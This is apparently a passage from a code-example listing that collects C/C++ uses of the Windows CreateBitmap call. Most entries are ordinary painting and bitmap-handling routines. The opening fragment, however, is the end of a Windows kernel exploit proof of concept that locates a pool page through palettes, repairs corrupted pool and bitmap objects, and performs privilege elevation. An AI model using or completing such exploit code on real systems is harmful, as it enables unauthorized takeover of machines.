        std::cout << "LOCATE EXTEND PALETTE..." << std::endl;
        bReturn = xxGetExtendPalette((HPALETTE)pBmpHunted[iExtPaleHmgr]);
        if (!bReturn)
        {
            break;
        }

        if ((pBmpHunted[iExtcEntries]) != 0x64 ||
            (pBmpHunted[iExtPalColor] & 0xFFF) != 0x00000E54)
        {
            bReturn = FALSE;
            std::cout << "FAILED: " << (PVOID)pBmpHunted[iExtPalColor] << std::endl;
            break;
        }
        iMemHunted = (pBmpHunted[iExtPalColor] & ~0xFFF);
        std::cout << "HUNTED PAGE: " << (PVOID)iMemHunted << std::endl;
        std::cout << "FIX HUNTED POOL HEADER..." << std::endl;
        bReturn = xxFixHuntedPoolHeader();
        if (!bReturn)
        {
            break;
        }

        std::cout << "FIX HUNTED BITMAP OBJECT..." << std::endl;
        bReturn = xxFixHuntedBitmapObject();
        if (!bReturn)
        {
            break;
        }

        std::cout << "-------------------" << std::endl;
        std::cout << "PRIVILEGE ELEVATION" << std::endl;
        std::cout << "-------------------" << std::endl;
        xxPrivilegeElevation();
        std::cout << "-------------------" << std::endl;

        std::cout << "DELETE BITMAPS (2)..." << std::endl;
        xxDeleteBitmaps();

        std::cout << "DELETE PALETTES (1)..." << std::endl;
        xxDeletePalettes();

        bReturn = TRUE;
    } while (FALSE);

    if (bReturn == FALSE)
    {
        std::cout << GetLastError() << std::endl;
    }

    POCDEBUG_BREAK();
    std::cout << "DELETE BRUSH..." << std::endl;
    DeleteObject(hbru);
    DeleteObject(hbmp);

    std::cout << "UNREGISTER WINDOW CLASSES (1)..." << std::endl;
    xxUnregisterWndClasses();

    std::cout << "-------------------" << std::endl;
    getchar();
    return 0;
}
Esempio n. 20
0
static void PaintToolbar(HWND hwnd)
{
	InvalidateRect(hwnd, 0, FALSE);

	PAINTSTRUCT paintst;
	HDC hdc = BeginPaint(hwnd, &paintst);
	RECT *rcPaint = &paintst.rcPaint;

	RECT clRect;
	GetClientRect(hwnd, &clRect);

	int yScroll = 0;

	HDC hdcMem = CreateCompatibleDC(hdc);
	HBITMAP hBmpOsb = CreateBitmap(clRect.right, clRect.bottom, 1, GetDeviceCaps(hdc, BITSPIXEL), NULL);
	HBITMAP hOldBmp = (HBITMAP)SelectObject(hdcMem, hBmpOsb);
	SetBkMode(hdcMem, TRANSPARENT);

	HBRUSH hBrush = CreateSolidBrush(bkColour);
	HBRUSH hoBrush = (HBRUSH)SelectObject(hdcMem, hBrush);
	FillRect(hdcMem, rcPaint, hBrush);
	SelectObject(hdcMem, hoBrush);
	DeleteObject(hBrush);
	if (hBmpBackground) {
		BITMAP bmp;
		GetObject(hBmpBackground, sizeof(bmp), &bmp);

		HDC hdcBmp = CreateCompatibleDC(hdcMem);
		SelectObject(hdcBmp, hBmpBackground);
		int y = backgroundBmpUse & CLBF_SCROLL ? -yScroll : 0;
		int maxx = backgroundBmpUse & CLBF_TILEH ? clRect.right : 1;
		int maxy = backgroundBmpUse & CLBF_TILEV ? rcPaint->bottom : y+1;

		int destw, desth;
		switch(backgroundBmpUse & CLBM_TYPE) {
		case CLB_STRETCH:
			if (backgroundBmpUse&CLBF_PROPORTIONAL) {
				if (clRect.right * bmp.bmHeight < clRect.bottom * bmp.bmWidth) {
					desth = clRect.bottom;
					destw = desth * bmp.bmWidth/bmp.bmHeight;
				}
				else {
					destw = clRect.right;
					desth = destw * bmp.bmHeight/bmp.bmWidth;
				}
			}
			else {
				destw = clRect.right;
				desth = clRect.bottom;
			}
			break;
		case CLB_STRETCHH:
			if (backgroundBmpUse & CLBF_PROPORTIONAL) {
				destw = clRect.right;
				desth = destw * bmp.bmHeight/bmp.bmWidth;
				if (backgroundBmpUse & CLBF_TILEVTOROWHEIGHT)
					desth = g_ctrl->nButtonHeight+2;
			}
			else {
				destw = clRect.right;
				desth = bmp.bmHeight;
			}
			break;
		case CLB_STRETCHV:
			if (backgroundBmpUse & CLBF_PROPORTIONAL) {
				desth = clRect.bottom;
				destw = desth*bmp.bmWidth/bmp.bmHeight;
			}
			else {
				destw = bmp.bmWidth;
				desth = clRect.bottom;
			}
			break;
		default:    //clb_topleft
			destw = bmp.bmWidth;
			desth = bmp.bmHeight;
			if (backgroundBmpUse & CLBF_TILEVTOROWHEIGHT)
				desth = g_ctrl->nButtonHeight+2;
			break;
		}

		for (; y < maxy; y += desth) {
			if (y < rcPaint->top - desth)
				continue;

			for (int x = 0; x < maxx; x += destw)
				StretchBlt(hdcMem, x, y, destw, desth, hdcBmp, 0, 0, bmp.bmWidth, bmp.bmHeight, SRCCOPY);
		}
		DeleteDC(hdcBmp);
	}
	BitBlt(hdc, rcPaint->left, rcPaint->top, rcPaint->right-rcPaint->left, rcPaint->bottom-rcPaint->top, hdcMem, rcPaint->left, rcPaint->top, SRCCOPY);
	SelectObject(hdcMem, hOldBmp);
	DeleteDC(hdcMem);
	DeleteObject(hBmpOsb);

	paintst.fErase = FALSE;
	EndPaint(hwnd, &paintst);
}
Esempio n. 21
0
LRESULT CALLBACK
SelectionWinProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
        case WM_PAINT:
        {
            if (!moving)
            {
                HDC hDC = GetDC(hwnd);
                DefWindowProc(hwnd, message, wParam, lParam);
                SelectionFrame(hDC, 1, 1, rectSel_dest[2] * zoom / 1000 + 5,
                               rectSel_dest[3] * zoom / 1000 + 5);
                ReleaseDC(hwnd, hDC);
            }
            break;
        }
        case WM_LBUTTONDOWN:
            xPos = LOWORD(lParam);
            yPos = HIWORD(lParam);
            SetCapture(hwnd);
            if (action != 0)
                SetCursor(LoadCursor(NULL, cursors[action]));
            moving = TRUE;
            break;
        case WM_MOUSEMOVE:
            if (moving)
            {
                TCHAR sizeStr[100];
                int xDelta;
                int yDelta;
                resetToU1();
                xFrac += (short)LOWORD(lParam) - xPos;
                yFrac += (short)HIWORD(lParam) - yPos;
                if (zoom < 1000)
                {
                    xDelta = xFrac * 1000 / zoom;
                    xFrac = 0;
                    yDelta = yFrac * 1000 / zoom;
                    yFrac = 0;
                }
                else
                {
                    xDelta = xFrac * 1000 / zoom;
                    xFrac -= (xFrac * 1000 / zoom) * zoom / 1000;
                    yDelta = yFrac * 1000 / zoom;
                    yFrac -= (yFrac * 1000 / zoom) * zoom / 1000;
                }
                switch (action)
                {
                    case 0:
                        rectSel_dest[0] += xDelta;
                        rectSel_dest[1] += yDelta;
                        break;
                    case 1:
                        rectSel_dest[0] += xDelta;
                        rectSel_dest[1] += yDelta;
                        rectSel_dest[2] -= xDelta;
                        rectSel_dest[3] -= yDelta;
                        break;
                    case 2:
                        rectSel_dest[1] += yDelta;
                        rectSel_dest[3] -= yDelta;
                        break;
                    case 3:
                        rectSel_dest[2] += xDelta;
                        rectSel_dest[1] += yDelta;
                        break;
                    case 4:
                        rectSel_dest[0] += xDelta;
                        rectSel_dest[2] -= xDelta;
                        break;
                    case 5:
                        rectSel_dest[2] += xDelta;
                        break;
                    case 6:
                        rectSel_dest[0] += xDelta;
                        rectSel_dest[2] -= xDelta;
                        rectSel_dest[3] += yDelta;
                        break;
                    case 7:
                        rectSel_dest[3] += yDelta;
                        break;
                    case 8:
                        rectSel_dest[2] += xDelta;
                        rectSel_dest[3] += yDelta;
                        break;
                }

                _stprintf(sizeStr, _T("%d x %d"), rectSel_dest[2], rectSel_dest[3]);
                SendMessage(hStatusBar, SB_SETTEXT, 2, (LPARAM) sizeStr);

                if (action != 0)
                    StretchBlt(hDrawingDC, rectSel_dest[0], rectSel_dest[1], rectSel_dest[2], rectSel_dest[3], hSelDC, 0, 0, GetDIBWidth(hSelBm), GetDIBHeight(hSelBm), SRCCOPY);
                else
                if (transpBg == 0)
                    MaskBlt(hDrawingDC, rectSel_dest[0], rectSel_dest[1], rectSel_dest[2], rectSel_dest[3],
                            hSelDC, 0, 0, hSelMask, 0, 0, MAKEROP4(SRCCOPY, SRCAND));
                else
                {
                    HBITMAP tempMask;
                    HBRUSH oldBrush;
                    HDC tempDC;
                    tempMask = CreateBitmap(rectSel_dest[2], rectSel_dest[3], 1, 1, NULL);
                    oldBrush = SelectObject(hSelDC, CreateSolidBrush(bgColor));
                    tempDC = CreateCompatibleDC(hSelDC);
                    SelectObject(tempDC, tempMask);
                    MaskBlt(tempDC, 0, 0, rectSel_dest[2], rectSel_dest[3], hSelDC, 0, 0, hSelMask, 0, 0,
                            MAKEROP4(NOTSRCCOPY, BLACKNESS));
                    DeleteDC(tempDC);
                    DeleteObject(SelectObject(hSelDC, oldBrush));

                    MaskBlt(hDrawingDC, rectSel_dest[0], rectSel_dest[1], rectSel_dest[2], rectSel_dest[3],
                            hSelDC, 0, 0, tempMask, 0, 0, MAKEROP4(SRCCOPY, SRCAND));
                    DeleteObject(tempMask);
                }
                SendMessage(hImageArea, WM_PAINT, 0, 0);
                xPos = LOWORD(lParam);
                yPos = HIWORD(lParam);
                //SendMessage(hwnd, WM_PAINT, 0, 0);
            }
            else
            {
                int w = rectSel_dest[2] * zoom / 1000 + 6;
                int h = rectSel_dest[3] * zoom / 1000 + 6;
                xPos = LOWORD(lParam);
                yPos = HIWORD(lParam);
                SendMessage(hStatusBar, SB_SETTEXT, 2, (LPARAM) NULL);
                action = identifyCorner(xPos, yPos, w, h);
                if (action != 0)
                    SetCursor(LoadCursor(NULL, cursors[action]));
            }
            break;
        case WM_LBUTTONUP:
            if (moving)
            {
                moving = FALSE;
                ReleaseCapture();
                if (action != 0)
                {
                    HDC hTempDC;
                    HBITMAP hTempBm;
                    hTempDC = CreateCompatibleDC(hSelDC);
                    hTempBm = CreateDIBWithProperties(rectSel_dest[2], rectSel_dest[3]);
                    SelectObject(hTempDC, hTempBm);
                    SelectObject(hSelDC, hSelBm);
                    StretchBlt(hTempDC, 0, 0, rectSel_dest[2], rectSel_dest[3], hSelDC, 0, 0,
                               GetDIBWidth(hSelBm), GetDIBHeight(hSelBm), SRCCOPY);
                    DeleteObject(hSelBm);
                    hSelBm = hTempBm;
                    hTempBm = CreateBitmap(rectSel_dest[2], rectSel_dest[3], 1, 1, NULL);
                    SelectObject(hTempDC, hTempBm);
                    SelectObject(hSelDC, hSelMask);
                    StretchBlt(hTempDC, 0, 0, rectSel_dest[2], rectSel_dest[3], hSelDC, 0, 0,
                               GetDIBWidth(hSelMask), GetDIBHeight(hSelMask), SRCCOPY);
                    DeleteObject(hSelMask);
                    hSelMask = hTempBm;
                    SelectObject(hSelDC, hSelBm);
                    DeleteDC(hTempDC);
                }
                placeSelWin();
                ShowWindow(hSelection, SW_HIDE);
                ShowWindow(hSelection, SW_SHOW);
            }
            break;
        default:
            return DefWindowProc(hwnd, message, wParam, lParam);
    }

    return 0;
}
void CKSAUXGUIPane::Init()
{
	mpPane = ge::IPane::Create();
	//mpPane->SetBackgroundColour(ge::SRGB(0, 0, 0));
	mpPane->SetSize(gAUX);
	
	//-------------------------------
	// Backdrop for AUX
	CreateBitmap(ge::IControl::giNoID, IDB_Back_AUX, ge::SPos(0, 0));
	//-------------------------------
	
	//--------------------------------
	// ECHO
	//--------------------------------
	
	Create2StateButton(giCtrl_Delay_Power, IDB_Button_Power, ge::SPos(25, 36), true);
	
	tint32 iX		=	154+126;
	tint32 iY		=	75;
	
	// Delay time 
	CreateKnob(giCtrl_Delay_Time, IDB_Dial_Medium, ge::SPos(iX, iY), 65);		iX += 64;
	CreateDisplay( giCtrl_Delay_Time_Display, ge::SPos(184, 65),  ge::SSize(56, 12), CreateFont(Generic128, IDB_Font_Axel_Tight, ge::SRGB(0, 180, 0)));
	
	// Predlay
	CreateKnob(giCtrl_Delay_Feedback, IDB_Dial_Medium, ge::SPos(iX, iY), 65);	iX += 64;
	CreateDisplay( giCtrl_Delay_Feedback_Display, ge::SPos(184, 77),  ge::SSize(56, 12), CreateFont(Generic128, IDB_Font_Axel_Tight, ge::SRGB(0, 180, 0)));
	
	// Lo Filt
	CreateKnob(giCtrl_Delay_LP_Dampning, IDB_Dial_Medium, ge::SPos(iX, iY), 65);	iX += 64;
	CreateDisplay( giCtrl_Delay_LP_Dampning_Display, ge::SPos(184, 89),  ge::SSize(56, 12), CreateFont(Generic128, IDB_Font_Axel_Tight, ge::SRGB(0, 180, 0)));
	
	// High Filt
	CreateKnob(giCtrl_Delay_HP_Dampning, IDB_Dial_Medium, ge::SPos(iX, iY), 65);	iX += 64;
	CreateDisplay( giCtrl_Delay_HP_Dampning_Display, ge::SPos(184, 101),  ge::SSize(56, 12), CreateFont(Generic128, IDB_Font_Axel_Tight, ge::SRGB(0, 180, 0)));
	
	
	// Output meter, Left
	mpEcho_MeterOutL = CreatePeakMeter(ge::IControl::giNoID, ge::SPos(534, 151-88), 47, ge::IPeakMeter::Up);
	FindPane(mpEcho_MeterOutL)->CreateBitmap(ge::IControl::giNoID, IDB_Meter_Off_Left_AUX, ge::SPos(0, 0));
	// Output meter, Right
	mpEcho_MeterOutR = CreatePeakMeter(ge::IControl::giNoID, ge::SPos(541, 151-88), 47, ge::IPeakMeter::Up);
	FindPane(mpEcho_MeterOutR)->CreateBitmap(ge::IControl::giNoID, IDB_Meter_Off_Right_AUX, ge::SPos(0, 0));
	//--------------------------------
	// REVERB
	//--------------------------------
	Create2StateButton(giCtrl_Reverb_Power, IDB_Button_Power, ge::SPos(25, 124), true);
	iX		=	152;
	iY		=	165;
	// Reverb Size
	CreateKnob(giCtrl_Reverb_Size, IDB_Dial_Medium, ge::SPos(iX, iY), 65);		iX += 64;
	// Predlay
	CreateKnob(giCtrl_Reverb_PDelay, IDB_Dial_Medium, ge::SPos(iX, iY), 65);		iX += 64;
	// Damping
	CreateKnob(giCtrl_Reverb_Damp, IDB_Dial_Medium, ge::SPos(iX, iY), 65);		iX += 64;
	// Reverb
	CreateKnob(giCtrl_Reverb_Panorama, IDB_Dial_Medium, ge::SPos(iX, iY), 65);	iX += 64;
	// Reverb
	CreateKnob(giCtrl_Reverb_Color1, IDB_Dial_Medium, ge::SPos(iX, iY), 65);		iX += 64;
	// Reverb
	CreateKnob(giCtrl_Reverb_Color2, IDB_Dial_Medium, ge::SPos(iX, iY), 65);		iX += 64;
	
	// Output meter, Left
	mpReverb_MeterOutL = CreatePeakMeter(ge::IControl::giNoID, ge::SPos(534, 153), 47, ge::IPeakMeter::Up);
	FindPane(mpReverb_MeterOutL)->CreateBitmap(ge::IControl::giNoID, IDB_Meter_Off_Left_AUX, ge::SPos(0, 0));
	// Output meter, Right
	mpReverb_MeterOutR = CreatePeakMeter(ge::IControl::giNoID, ge::SPos(541, 153), 47, ge::IPeakMeter::Up);
	FindPane(mpReverb_MeterOutR)->CreateBitmap(ge::IControl::giNoID, IDB_Meter_Off_Right_AUX, ge::SPos(0, 0));
}
Esempio n. 23
0
/******************************************************************************
 * CreateCompatibleBitmap [GDI32.@]
 *
 * Creates a bitmap compatible with the DC.
 *
 * PARAMS
 *    hdc    [I] Handle to device context
 *    width  [I] Width of bitmap
 *    height [I] Height of bitmap
 *
 * RETURNS
 *    Success: Handle to bitmap
 *    Failure: 0
 */
HBITMAP WINAPI CreateCompatibleBitmap( HDC hdc, INT width, INT height)
{
    HBITMAP hbmpRet = 0;

    TRACE("(%p,%d,%d) =\n", hdc, width, height);

    if (GetObjectType( hdc ) != OBJ_MEMDC)
    {
        hbmpRet = CreateBitmap(width, height,
                               GetDeviceCaps(hdc, PLANES),
                               GetDeviceCaps(hdc, BITSPIXEL),
                               NULL);
    }
    else  /* Memory DC */
    {
        DIBSECTION dib;
        HBITMAP bitmap = GetCurrentObject( hdc, OBJ_BITMAP );
        INT size = GetObjectW( bitmap, sizeof(dib), &dib );

        if (!size) return 0;

        if (size == sizeof(BITMAP))
        {
            /* A device-dependent bitmap is selected in the DC */
            hbmpRet = CreateBitmap(width, height,
                                   dib.dsBm.bmPlanes,
                                   dib.dsBm.bmBitsPixel,
                                   NULL);
        }
        else
        {
            /* A DIB section is selected in the DC */
            BITMAPINFO *bi;
            void *bits;

            /* Allocate memory for a BITMAPINFOHEADER structure and a
               color table. The maximum number of colors in a color table
               is 256 which corresponds to a bitmap with depth 8.
               Bitmaps with higher depths don't have color tables. */
            bi = HeapAlloc(GetProcessHeap(), 0, sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD));

            if (bi)
            {
                bi->bmiHeader.biSize          = sizeof(bi->bmiHeader);
                bi->bmiHeader.biWidth         = width;
                bi->bmiHeader.biHeight        = height;
                bi->bmiHeader.biPlanes        = dib.dsBmih.biPlanes;
                bi->bmiHeader.biBitCount      = dib.dsBmih.biBitCount;
                bi->bmiHeader.biCompression   = dib.dsBmih.biCompression;
                bi->bmiHeader.biSizeImage     = 0;
                bi->bmiHeader.biXPelsPerMeter = dib.dsBmih.biXPelsPerMeter;
                bi->bmiHeader.biYPelsPerMeter = dib.dsBmih.biYPelsPerMeter;
                bi->bmiHeader.biClrUsed       = dib.dsBmih.biClrUsed;
                bi->bmiHeader.biClrImportant  = dib.dsBmih.biClrImportant;

                if (bi->bmiHeader.biCompression == BI_BITFIELDS)
                {
                    /* Copy the color masks */
                    CopyMemory(bi->bmiColors, dib.dsBitfields, 3 * sizeof(DWORD));
                }
                else if (bi->bmiHeader.biBitCount <= 8)
                {
                    /* Copy the color table */
                    GetDIBColorTable(hdc, 0, 256, bi->bmiColors);
                }

                hbmpRet = CreateDIBSection(hdc, bi, DIB_RGB_COLORS, &bits, NULL, 0);
                HeapFree(GetProcessHeap(), 0, bi);
            }
        }
    }

    TRACE("\t\t%p\n", hbmpRet);
    return hbmpRet;
}
Esempio n. 24
0
static int scalebitmap (
    Gwidget_t *widget, Gbitmap_t *bitmap, Gsize_t scale,
    int copybits, int dir
) {
    Gsize_t nsize, o2n;
    HBITMAP opix, spix;
    COLORREF color;
    HDC gc1, gc2;
    int x, y, x2, y2, xp, yp;
    double prod, rgb[3], xr2, yr2, xl2, yl2, xf2, yf2, xr, yr, xl, yl;

    if (!copybits) {
        if (dir == 1) {
            nsize.x = (int) (bitmap->size.x * scale.x);
            nsize.y = (int) (bitmap->size.y * scale.y);
            if (!(spix = CreateBitmap (
                (int) nsize.x, (int) nsize.y, 1, Gdepth, NULL
            ))) {
                Gerr (POS, G_ERRCANNOTCREATEBITMAP);
                return -1;
            }
            if (bitmap->u.bmap.scaled)
                DeleteObject (bitmap->u.bmap.scaled);
            bitmap->u.bmap.scaled = spix;
            bitmap->scale = scale;
        }
        return 0;
    }
    if (dir == 1) {
        nsize.x = (int) (bitmap->size.x * scale.x);
        nsize.y = (int) (bitmap->size.y * scale.y);
        o2n.x = 1 / scale.x, o2n.y = 1 / scale.y;
        if (!(spix = CreateBitmap (
            (int) nsize.x, (int) nsize.y, 1, Gdepth, NULL
        ))) {
            Gerr (POS, G_ERRCANNOTCREATEBITMAP);
            return -1;
        }
        opix = bitmap->u.bmap.orig;
    } else {
        nsize.x = (int) bitmap->size.x;
        nsize.y = (int) bitmap->size.y;
        o2n.x = scale.x, o2n.y = scale.y;
        spix = bitmap->u.bmap.orig;
        opix = bitmap->u.bmap.scaled;
    }
    gc1 = CreateCompatibleDC (GC);
    SelectObject (gc1, opix);
    gc2 = CreateCompatibleDC (GC);
    SelectObject (gc2, spix);
    prod = o2n.x * o2n.y;
    y = 0;
    yr = o2n.y;
    yl = 0;
    for (yp = 0; yp < nsize.y; yp++) {
        x = 0;
        xr = o2n.x;
        xl = 0;
        for (xp = 0; xp < nsize.x; xp++) {
            y2 = y;
            yr2 = yr;
            yl2 = yl;
            rgb[0] = rgb[1] = rgb[2] = 0;
            do {
                x2 = x;
                xr2 = xr;
                xl2 = xl;
                yf2 = (yl2 + yr2 > 1) ? 1 - yl2 : yr2, yr2 -= yf2;
                do {
                    xf2 = (xl2 + xr2 > 1) ? 1 - xl2 : xr2, xr2 -= xf2;
                    color = GetPixel (gc1, x2, y2);
                    rgb[0] += (GetRValue (color) * xf2 * yf2 / prod);
                    rgb[1] += (GetGValue (color) * xf2 * yf2 / prod);
                    rgb[2] += (GetBValue (color) * xf2 * yf2 / prod);
                    xl2 += xf2;
                    if (xl2 >= 1)
                        x2++, xl2 -= 1;
                } while (xr2 > 0);
                xr2 = o2n.x;
                yl2 += yf2;
                if (yl2 >= 1)
                    y2++, yl2 -= 1;
            } while (yr2 > 0);
            yr2 = o2n.y;
            SetPixel (gc2, xp, yp, RGB (rgb[0], rgb[1], rgb[2]));
            x = x2;
            xr = xr2;
            xl = xl2;
        }
        y = y2;
        yr = yr2;
        yl = yl2;
    }
    DeleteDC (gc1);
    DeleteDC (gc2);
    if (dir == 1) {
        if (bitmap->u.bmap.scaled)
            DeleteObject (bitmap->u.bmap.scaled);
        bitmap->u.bmap.scaled = spix;
        bitmap->scale = scale;
    }
    return 0;
}
Esempio n. 25
0
void PaintClc(HWND hwnd, struct ClcData *dat, HDC hdc, RECT * rcPaint)
{
	HDC hdcMem;
	RECT clRect;
	int y, indent, index, fontHeight;
	struct ClcGroup *group;
	HFONT hOldFont;
	DWORD style = GetWindowLong(hwnd, GWL_STYLE);
	int status = GetGeneralisedStatus();
	int grey = 0, groupCountsFontTopShift;
	HBRUSH hBrushAlternateGrey = NULL;
	// yes I know about GetSysColorBrush()
	COLORREF tmpbkcolour = style & CLS_CONTACTLIST ? (dat->useWindowsColours ? GetSysColor(COLOR_3DFACE) : dat->bkColour) : dat->bkColour;

	if (dat->greyoutFlags & pcli->pfnClcStatusToPf2(status) || style & WS_DISABLED)
		grey = 1;
	else if (GetFocus() != hwnd && dat->greyoutFlags & GREYF_UNFOCUS)
		grey = 1;
	GetClientRect(hwnd, &clRect);
	if (rcPaint == NULL)
		rcPaint = &clRect;
	if (IsRectEmpty(rcPaint))
		return;
	y = -dat->yScroll;
	hdcMem = CreateCompatibleDC(hdc);
	HBITMAP hBmpOsb = CreateBitmap(clRect.right, clRect.bottom, 1, GetDeviceCaps(hdc, BITSPIXEL), NULL);
	HBITMAP hOldBitmap = (HBITMAP)SelectObject(hdcMem, hBmpOsb);
	{
		TEXTMETRIC tm;
		hOldFont = (HFONT)SelectObject(hdcMem, dat->fontInfo[FONTID_GROUPS].hFont);
		GetTextMetrics(hdcMem, &tm);
		groupCountsFontTopShift = tm.tmAscent;
		SelectObject(hdcMem, dat->fontInfo[FONTID_GROUPCOUNTS].hFont);
		GetTextMetrics(hdcMem, &tm);
		groupCountsFontTopShift -= tm.tmAscent;
	}
	if (style & CLS_GREYALTERNATE)
		hBrushAlternateGrey =
		CreateSolidBrush(GetNearestColor(hdcMem, RGB(GetRValue(tmpbkcolour) - 10, GetGValue(tmpbkcolour) - 10, GetBValue(tmpbkcolour) - 10)));

	ChangeToFont(hdcMem, dat, FONTID_CONTACTS, &fontHeight);
	SetBkMode(hdcMem, TRANSPARENT);
	{
		HBRUSH hBrush;

		hBrush = CreateSolidBrush(tmpbkcolour);
		FillRect(hdcMem, rcPaint, hBrush);
		DeleteObject(hBrush);
		if (dat->hBmpBackground) {
			BITMAP bmp;
			HDC hdcBmp;
			int x, y;
			int maxx, maxy;
			int destw, desth;

			// XXX: Halftone isnt supported on 9x, however the scretch problems dont happen on 98.
			SetStretchBltMode(hdcMem, HALFTONE);

			GetObject(dat->hBmpBackground, sizeof(bmp), &bmp);
			hdcBmp = CreateCompatibleDC(hdcMem);
			SelectObject(hdcBmp, dat->hBmpBackground);
			y = dat->backgroundBmpUse & CLBF_SCROLL ? -dat->yScroll : 0;
			maxx = dat->backgroundBmpUse & CLBF_TILEH ? clRect.right : 1;
			maxy = dat->backgroundBmpUse & CLBF_TILEV ? maxy = rcPaint->bottom : y + 1;
			switch (dat->backgroundBmpUse & CLBM_TYPE) {
			case CLB_STRETCH:
				if (dat->backgroundBmpUse & CLBF_PROPORTIONAL) {
					if (clRect.right * bmp.bmHeight < clRect.bottom * bmp.bmWidth) {
						desth = clRect.bottom;
						destw = desth * bmp.bmWidth / bmp.bmHeight;
					}
					else {
						destw = clRect.right;
						desth = destw * bmp.bmHeight / bmp.bmWidth;
					}
				}
				else {
					destw = clRect.right;
					desth = clRect.bottom;
				}
				break;
			case CLB_STRETCHH:
				if (dat->backgroundBmpUse & CLBF_PROPORTIONAL) {
					destw = clRect.right;
					desth = destw * bmp.bmHeight / bmp.bmWidth;
				}
				else {
					destw = clRect.right;
					desth = bmp.bmHeight;
				}
				break;
			case CLB_STRETCHV:
				if (dat->backgroundBmpUse & CLBF_PROPORTIONAL) {
					desth = clRect.bottom;
					destw = desth * bmp.bmWidth / bmp.bmHeight;
				}
				else {
					destw = bmp.bmWidth;
					desth = clRect.bottom;
				}
				break;
			default:       //clb_topleft
				destw = bmp.bmWidth;
				desth = bmp.bmHeight;
				break;
			}
			for (; y < maxy; y += desth) {
				if (y < rcPaint->top - desth)
					continue;
				for (x = 0; x < maxx; x += destw)
					StretchBlt(hdcMem, x, y, destw, desth, hdcBmp, 0, 0, bmp.bmWidth, bmp.bmHeight, SRCCOPY);
			}
			DeleteDC(hdcBmp);
		}
	}
	group = &dat->list;
	group->scanIndex = 0;
	indent = 0;
	for (index = 0; y < rcPaint->bottom;) {
		if (group->scanIndex == group->cl.count) {
			group = group->parent;
			indent--;
			if (group == NULL)
				break;
			group->scanIndex++;
			continue;
		}
		if (y > rcPaint->top - dat->rowHeight) {
			int iImage = -1;
			int selected = index == dat->selection && (dat->showSelAlways || dat->exStyle & CLS_EX_SHOWSELALWAYS || GetFocus() == hwnd)
				&& group->cl.items[group->scanIndex]->type != CLCIT_DIVIDER;
			int hottrack = dat->exStyle & CLS_EX_TRACKSELECT && group->cl.items[group->scanIndex]->type != CLCIT_DIVIDER && dat->iHotTrack == index;
			SIZE textSize, countsSize, spaceSize;
			int width, checkboxWidth;
			char *szCounts;

			//alternating grey
			if (style & CLS_GREYALTERNATE && index & 1) {
				RECT rc;
				rc.top = y;
				rc.bottom = rc.top + dat->rowHeight;
				rc.left = 0;
				rc.right = clRect.right;
				FillRect(hdcMem, &rc, hBrushAlternateGrey);
			}

			//setup
			if (group->cl.items[group->scanIndex]->type == CLCIT_GROUP)
				ChangeToFont(hdcMem, dat, FONTID_GROUPS, &fontHeight);
			else if (group->cl.items[group->scanIndex]->type == CLCIT_INFO) {
				if (group->cl.items[group->scanIndex]->flags & CLCIIF_GROUPFONT)
					ChangeToFont(hdcMem, dat, FONTID_GROUPS, &fontHeight);
				else
					ChangeToFont(hdcMem, dat, FONTID_CONTACTS, &fontHeight);
			}
			else if (group->cl.items[group->scanIndex]->type == CLCIT_DIVIDER)
				ChangeToFont(hdcMem, dat, FONTID_DIVIDERS, &fontHeight);
			else if (group->cl.items[group->scanIndex]->type == CLCIT_CONTACT && group->cl.items[group->scanIndex]->flags & CONTACTF_NOTONLIST)
				ChangeToFont(hdcMem, dat, FONTID_NOTONLIST, &fontHeight);
			else if (group->cl.items[group->scanIndex]->type == CLCIT_CONTACT &&
				((group->cl.items[group->scanIndex]->flags & CONTACTF_INVISTO
				&& GetRealStatus(group->cl.items[group->scanIndex], status) != ID_STATUS_INVISIBLE)
				|| (group->cl.items[group->scanIndex]->flags & CONTACTF_VISTO
				&& GetRealStatus(group->cl.items[group->scanIndex], status) == ID_STATUS_INVISIBLE)
				)
				) {
					// the contact is in the always visible list and the proto is invisible
					// the contact is in the always invisible and the proto is in any other mode
					ChangeToFont(hdcMem, dat, group->cl.items[group->scanIndex]->flags & CONTACTF_ONLINE ? FONTID_INVIS : FONTID_OFFINVIS, &fontHeight);
				}
			else if (group->cl.items[group->scanIndex]->type == CLCIT_CONTACT && !(group->cl.items[group->scanIndex]->flags & CONTACTF_ONLINE))
				ChangeToFont(hdcMem, dat, FONTID_OFFLINE, &fontHeight);
			else
				ChangeToFont(hdcMem, dat, FONTID_CONTACTS, &fontHeight);
			GetTextExtentPoint32(hdcMem, group->cl.items[group->scanIndex]->szText, lstrlen(group->cl.items[group->scanIndex]->szText), &textSize);
			width = textSize.cx;
			if (group->cl.items[group->scanIndex]->type == CLCIT_GROUP) {
				szCounts = pcli->pfnGetGroupCountsText(dat, group->cl.items[group->scanIndex]);
				if (szCounts[0]) {
					GetTextExtentPoint32A(hdcMem, " ", 1, &spaceSize);
					ChangeToFont(hdcMem, dat, FONTID_GROUPCOUNTS, &fontHeight);
					GetTextExtentPoint32A(hdcMem, szCounts, lstrlenA(szCounts), &countsSize);
					width += spaceSize.cx + countsSize.cx;
				}
			}

			if ((style & CLS_CHECKBOXES && group->cl.items[group->scanIndex]->type == CLCIT_CONTACT) ||
				(style & CLS_GROUPCHECKBOXES && group->cl.items[group->scanIndex]->type == CLCIT_GROUP) ||
				(group->cl.items[group->scanIndex]->type == CLCIT_INFO && group->cl.items[group->scanIndex]->flags & CLCIIF_CHECKBOX))
				checkboxWidth = dat->checkboxSize + 2;
			else
				checkboxWidth = 0;

			//background
			if (selected) {
				int x = dat->leftMargin + indent * dat->groupIndent + checkboxWidth + dat->iconXSpace - 2;
				ImageList_DrawEx(dat->himlHighlight, 0, hdcMem, x, y, min(width + 5, clRect.right - x), dat->rowHeight, CLR_NONE, CLR_NONE,
					dat->exStyle & CLS_EX_NOTRANSLUCENTSEL ? ILD_NORMAL : ILD_BLEND25);
				SetTextColor(hdcMem, dat->selTextColour);
			}
			else if (hottrack)
				SetHotTrackColour(hdcMem, dat);

			//checkboxes
			if (checkboxWidth) {
				RECT rc;
				HANDLE hTheme = OpenThemeData(hwnd, L"BUTTON");
				rc.left = dat->leftMargin + indent * dat->groupIndent;
				rc.right = rc.left + dat->checkboxSize;
				rc.top = y + ((dat->rowHeight - dat->checkboxSize) >> 1);
				rc.bottom = rc.top + dat->checkboxSize;
